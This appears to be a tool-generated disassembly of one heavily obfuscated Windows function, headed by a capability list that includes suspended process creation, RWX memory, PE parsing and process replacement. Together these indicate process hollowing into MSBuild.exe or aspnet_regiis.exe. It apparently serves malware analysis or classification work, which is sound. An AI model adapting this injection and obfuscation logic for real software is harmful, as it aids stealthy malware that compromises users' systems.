Function at 0x10002d80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf0
mov eax, dword [0x10068800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xf8], 0x3d4bbe93
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0xfc], eax
sub eax, 0x8025d097
je 0x10007230
jmp 0x10002dbc
mov eax, dword [ebp - 0xfc]
sub eax, 0x8136b45b
je 0x10006e38
jmp 0x10002dd2
mov eax, dword [ebp - 0xfc]
sub eax, 0x8174902d
je 0x10009f8a
jmp 0x10002de8
mov eax, dword [ebp - 0xfc]
sub eax, 0x82157efb
je 0x10006e29
jmp 0x10002dfe
mov eax, dword [ebp - 0xfc]
sub eax, 0x823f830d
je 0x1000828c
jmp 0x10002e14
mov eax, dword [ebp - 0xfc]
sub eax, 0x827e210c
je 0x10006d3b
jmp 0x10002e2a
mov eax, dword [ebp - 0xfc]
sub eax, 0x8372e167
je 0x10009456
jmp 0x10002e40
mov eax, dword [ebp - 0xfc]
sub eax, 0x83ca5ade
je 0x10006abd
jmp 0x10002e56
mov eax, dword [ebp - 0xfc]
sub eax, 0x83d90e98
je 0x10009833
jmp 0x10002e6c
mov eax, dword [ebp - 0xfc]
sub eax, 0x84a59297
je 0x10009b25
jmp 0x10002e82
mov eax, dword [ebp - 0xfc]
sub eax, 0x84e2b4c5
je 0x10008762
jmp 0x10002e98
mov eax, dword [ebp - 0xfc]
sub eax, 0x8525ecf5
je 0x10008a10
jmp 0x10002eae
mov eax, dword [ebp - 0xfc]
sub eax, 0x86ed7a28
je 0x10005d4f
jmp 0x10002ec4
mov eax, dword [ebp - 0xfc]
sub eax, 0x880d5860
je 0x10008fb1
jmp 0x10002eda
mov eax, dword [ebp - 0xfc]
sub eax, 0x88233664
je 0x100079e2
jmp 0x10002ef0
mov eax, dword [ebp - 0xfc]
sub eax, 0x88450ebc
je 0x10005739
jmp 0x10002f06
mov eax, dword [ebp - 0xfc]
sub eax, 0x889108f3
je 0x10009c84
jmp 0x10002f1c
mov eax, dword [ebp - 0xfc]
sub eax, 0x89bf87a0
je 0x10006a19
jmp 0x10002f32
mov eax, dword [ebp - 0xfc]
sub eax, 0x89e96b66
je 0x1000a2f6
jmp 0x10002f48
mov eax, dword [ebp - 0xfc]
sub eax, 0x8a1b4513
je 0x10009b53
jmp 0x10002f5e
mov eax, dword [ebp - 0xfc]
sub eax, 0x8a254e37
je 0x100056d8
jmp 0x10002f74
mov eax, dword [ebp - 0xfc]
sub eax, 0x8a69b934
je 0x100083c5
jmp 0x10002f8a
mov eax, dword [ebp - 0xfc]
sub eax, 0x8ae52417
je 0x10005448
jmp 0x10002fa0
mov eax, dword [ebp - 0xfc]
sub eax, 0x8b57b712
je 0x1000710a
jmp 0x10002fb6
mov eax, dword [ebp - 0xfc]
sub eax, 0x8b97f4ea
je 0x10006f7b
jmp 0x10002fcc
mov eax, dword [ebp - 0xfc]
sub eax, 0x8baf70ea
je 0x10005649
jmp 0x10002fe2
mov eax, dword [ebp - 0xfc]
sub eax, 0x8d611402
je 0x10007bcd
jmp 0x10002ff8
mov eax, dword [ebp - 0xfc]
sub eax, 0x8e34c836
je 0x100060a5
jmp 0x1000300e
mov eax, dword [ebp - 0xfc]
sub eax, 0x8e914f4d
je 0x10007376
jmp 0x10003024
mov eax, dword [ebp - 0xfc]
sub eax, 0x90043530
je 0x100073ec
jmp 0x1000303a
mov eax, dword [ebp - 0xfc]
sub eax, 0x900caffb
je 0x10007a00
jmp 0x10003050
mov eax, dword [ebp - 0xfc]
sub eax, 0x90d72e15
je 0x10009e9f
jmp 0x10003066
mov eax, dword [ebp - 0xfc]
sub eax, 0x91ad9a36
je 0x1000a05f
jmp 0x1000307c
mov eax, dword [ebp - 0xfc]
sub eax, 0x91f9e315
je 0x10005dab
jmp 0x10003092
mov eax, dword [ebp - 0xfc]
sub eax, 0x92216e0a
je 0x10005aeb
jmp 0x100030a8
mov eax, dword [ebp - 0xfc]
sub eax, 0x92b72c39
je 0x100088cd
jmp 0x100030be
mov eax, dword [ebp - 0xfc]
sub eax, 0x92bc4184
je 0x100098c1
jmp 0x100030d4
mov eax, dword [ebp - 0xfc]
sub eax, 0x92c9ecc5
je 0x100074f5
jmp 0x100030ea
mov eax, dword [ebp - 0xfc]
sub eax, 0x943ac208
je 0x10009df6
jmp 0x10003100
mov eax, dword [ebp - 0xfc]
sub eax, 0x943d2a63
je 0x100076a5
jmp 0x10003116
mov eax, dword [ebp - 0xfc]
sub eax, 0x94a01bfb
je 0x1000824e
jmp 0x1000312c
mov eax, dword [ebp - 0xfc]
sub eax, 0x96fdb0d2
je 0x10008c59
jmp 0x10003142
mov eax, dword [ebp - 0xfc]
sub eax, 0x9852d517
je 0x100093b7
jmp 0x10003158
mov eax, dword [ebp - 0xfc]
sub eax, 0x985766c0
je 0x10009eec
jmp 0x1000316e
mov eax, dword [ebp - 0xfc]
sub eax, 0x993ca5bb
je 0x1000637f
jmp 0x10003184
mov eax, dword [ebp - 0xfc]
sub eax, 0x99ef2039
je 0x10006008
jmp 0x1000319a
mov eax, dword [ebp - 0xfc]
sub eax, 0x9b8c4ada
je 0x100055a0
jmp 0x100031b0
mov eax, dword [ebp - 0xfc]
sub eax, 0x9c174d4a
je 0x10008abf
jmp 0x100031c6
mov eax, dword [ebp - 0xfc]
sub eax, 0x9cf6c181
je 0x10005583
jmp 0x100031dc
mov eax, dword [ebp - 0xfc]
sub eax, 0x9eb72685
je 0x10006402
jmp 0x100031f2
mov eax, dword [ebp - 0xfc]
sub eax, 0x9ef3eed9
je 0x1000a155
jmp 0x10003208
mov eax, dword [ebp - 0xfc]
sub eax, 0x9f7120df
je 0x100090d9
jmp 0x1000321e
mov eax, dword [ebp - 0xfc]
sub eax, 0xa1d94748
je 0x1000834f
jmp 0x10003234
mov eax, dword [ebp - 0xfc]
sub eax, 0xa2a0fc77
je 0x10005abc
jmp 0x1000324a
mov eax, dword [ebp - 0xfc]
sub eax, 0xa2a11a7f
je 0x10005c96
jmp 0x10003260
mov eax, dword [ebp - 0xfc]
sub eax, 0xa33ac6de
je 0x10009e80
jmp 0x10003276
mov eax, dword [ebp - 0xfc]
sub eax, 0xa4468969
je 0x100077f7
jmp 0x1000328c
mov eax, dword [ebp - 0xfc]
sub eax, 0xa61d1fbe
je 0x1000a080
jmp 0x100032a2
mov eax, dword [ebp - 0xfc]
sub eax, 0xa67e6ba6
je 0x10006571
jmp 0x100032b8
mov eax, dword [ebp - 0xfc]
sub eax, 0xa708f011
je 0x10007bdc
jmp 0x100032ce
mov eax, dword [ebp - 0xfc]
sub eax, 0xa7adf1fd
je 0x10009e33
jmp 0x100032e4
mov eax, dword [ebp - 0xfc]
sub eax, 0xa7bcd4c9
je 0x1000a305
jmp 0x100032fa
mov eax, dword [ebp - 0xfc]
sub eax, 0xa803030f
je 0x1000845c
jmp 0x10003310
mov eax, dword [ebp - 0xfc]
sub eax, 0xa87742f2
je 0x10006a3a
jmp 0x10003326
mov eax, dword [ebp - 0xfc]
sub eax, 0xa973caba
je 0x100067e1
movss xmm0, dword [0x10017390]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0xf8], 0xd7227a58
jmp 0x1000a4d3
mov dl, 1
mov eax, 0xc3092500
mov ecx, 0x9b8c4ada
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
movss xmm0, dword [0x10017380]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0xf8], 0xd610d1ef
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0x2ae24c8a
jmp 0x1000a4d3
movss xmm0, dword [0x10017228]
movss dword [ebp - 0xf0], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x747d1bfe
sub edx, 1
add edx, 0x747d1bfe
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeb11231d
mov ecx, 0x88450ebc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov dl, 1
mov eax, 0x687aaafe
mov ecx, 0x69e8deac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
movss xmm0, dword [0x10017354]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x10017350]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0xf8], 0x92216e0a
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0x27bea5a0
jmp 0x1000a4d3
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xea5054d3
sub edx, 1
sub edx, 0xea5054d3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x90d72e15
mov ecx, 0xb4b86ee9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
movss xmm0, dword [0x1001733c]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0xf8], 0x111e7e39
jmp 0x1000a4d3
movss xmm0, dword [0x10017330]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x1001732c]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0xf8], 0x233d28e0
jmp 0x1000a4d3
movss xmm0, dword [0x1001731c]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x10017318]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0xf8], 0xefda2893
jmp 0x1000a4d3
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x9f16a6e0
sub edx, 1
add edx, 0x9f16a6e0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x985766c0
mov ecx, 0xae2de5dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x10017304]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x391a8d
jmp 0x1000a4d3
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100172f4]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0xacd4c776
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0xbc6d789
jmp 0x1000a4d3
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100172d8]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0xa87742f2
jmp 0x1000a4d3
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100172d4]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0xd45d51fb
jmp 0x1000a4d3
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100172c4]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x2f2f6421
jmp 0x1000a4d3
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100172b4]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0xf34cd4a5
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0x8136b45b
jmp 0x1000a4d3
mov dl, 1
mov eax, 0x8b97f4ea
mov ecx, 0xd0fa7fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x91ad9a36
mov ecx, 0xf36ca4f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100172a8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100172a4]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0xc2de37e3
jmp 0x1000a4d3
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100172a0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x1001729c]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x76054c88
jmp 0x1000a4d3
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x63e99aa0
sub edx, 1
add edx, 0x63e99aa0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x13e2f817
mov ecx, 0x90043530
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100171e0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100171dc]
movss dword [eax], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x280758e4
sub edx, 1
sub edx, 0x280758e4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x13e2f817
mov ecx, 0x5ba9af3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100171d8]
movss dword [eax], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf6fbea91
mov ecx, 0xb3dd42e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100171d0]
movss dword [eax], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xeacf395a
sub edx, 1
sub edx, 0xeacf395a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x49842985
mov ecx, 0x2964b6aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10017294]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10017290]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0xd4cc9b8a
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0x2a865008
jmp 0x1000a4d3
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xed60a6e6
mov ecx, 0x6e9ba547
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0xa708f011
jmp 0x1000a4d3
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001727c]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x67784df5
jmp 0x1000a4d3
mov dl, 1
mov eax, 0xa1d94748
mov ecx, 0xddb3bc2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x3a4e4525
sub edx, 1
sub edx, 0x3a4e4525
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaeca8ceb
mov ecx, 0x1f77c5da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x8754ac9
sub edx, 1
sub edx, 0x8754ac9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6cb4d8ae
mov ecx, 0x8a69b934
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov eax, dword [ebp - 0xd8]
movss xmm0, dword [0x1001719c]
movss dword [eax], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xe2a50090
sub edx, 1
sub edx, 0xe2a50090
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6cb4d8ae
mov ecx, 0x619d59b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov dl, 1
mov eax, 0xd36278b4
mov ecx, 0x28a4c9e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0x42efef12
jmp 0x1000a4d3
mov dl, byte [ebp - 0x75]
mov eax, 0x61d1cc80
mov ecx, 0xfdd8a724
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov eax, dword [ebp - 0xc4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000b6d0
add esp, 0xc
mov eax, dword [ebp - 0xc0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000b6d0
add esp, 0xc
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xbc]
mov byte [eax], cl
mov eax, dword [ebp - 0xb8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov al, byte [eax]
mov byte [ebp - 0x6d], al
mov dword [ebp - 0xf8], 0xdcc6474e
jmp 0x1000a4d3
mov eax, dword [ebp - 0xb8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0xf8], 0x28838d14
jmp 0x1000a4d3
mov dl, byte [ebp - 0x65]
mov eax, 0xd575b902
mov ecx, 0xd6972572
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x5d8de663
sub edx, 1
add edx, 0x5d8de663
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcd9521e7
mov ecx, 0x42e50ac5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov ecx, dword [ebp - 0x60]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x18
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, 0x3516d689
add ecx, eax
sub ecx, 0x3516d689
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa0]
mov dword [eax], 0
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
mov dword [eax], 0
mov dword [ebp - 0xf8], 0x119316b8
jmp 0x1000a4d3
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x48]
sub eax, 0xbf491e65
sub eax, ecx
add eax, 0xbf491e65
mov ecx, dword [ebp - 0x4c]
add ecx, eax
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4a1a787b
mov ecx, 0x44717b19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0x2048dff3
jmp 0x1000a4d3
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0xc0df14fc
sub ecx, eax
add ecx, 0xc0df14fc
mov eax, dword [ebp - 0x88]
mov dword [eax], ecx
mov eax, dword [ebp - 0x84]
mov dword [eax], 0
mov dword [ebp - 0xf8], 0x2dac6b3c
jmp 0x1000a4d3
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0x2b03819a
or eax, edx
or ecx, 0x2b03819a
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0xf8], 0x56e29e68
jmp 0x1000a4d3
mov eax, dword [ebp - 0x84]
mov ecx, dword [eax]
sub ecx, 0xbd31e7fa
add ecx, 1
add ecx, 0xbd31e7fa
mov eax, dword [ebp - 0x84]
mov dword [eax], ecx
mov dword [ebp - 0xf8], 0x8a1b4513
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0x2dac6b3c
jmp 0x1000a4d3
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xf8], 0x6da436a4
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0xfdc86bb5
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0x36c7d202
jmp 0x1000a4d3
movss xmm0, dword [0x1001721c]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0xf8], 0xc9ef88a3
jmp 0x1000a4d3
movss xmm0, dword [0x10017218]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0xf8], 0xb4b86ee9
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0x8e34c836
jmp 0x1000a4d3
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x10017200]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x90ccdbe
jmp 0x1000a4d3
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100171e8]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0xf36ca4f6
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0x4f6643f0
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0xf407b057
jmp 0x1000a4d3
mov dword [ebp - 0xf8], 0x2296a08d
jmp 0x1000a4d3
mov eax, dword [ebp - 0xd8]
movss xmm0, dword [0x10017194]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xd8]
movss xmm0, dword [0x10017190]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x7e6d2adc
jmp 0x1000a4d3
jmp 0x10002da0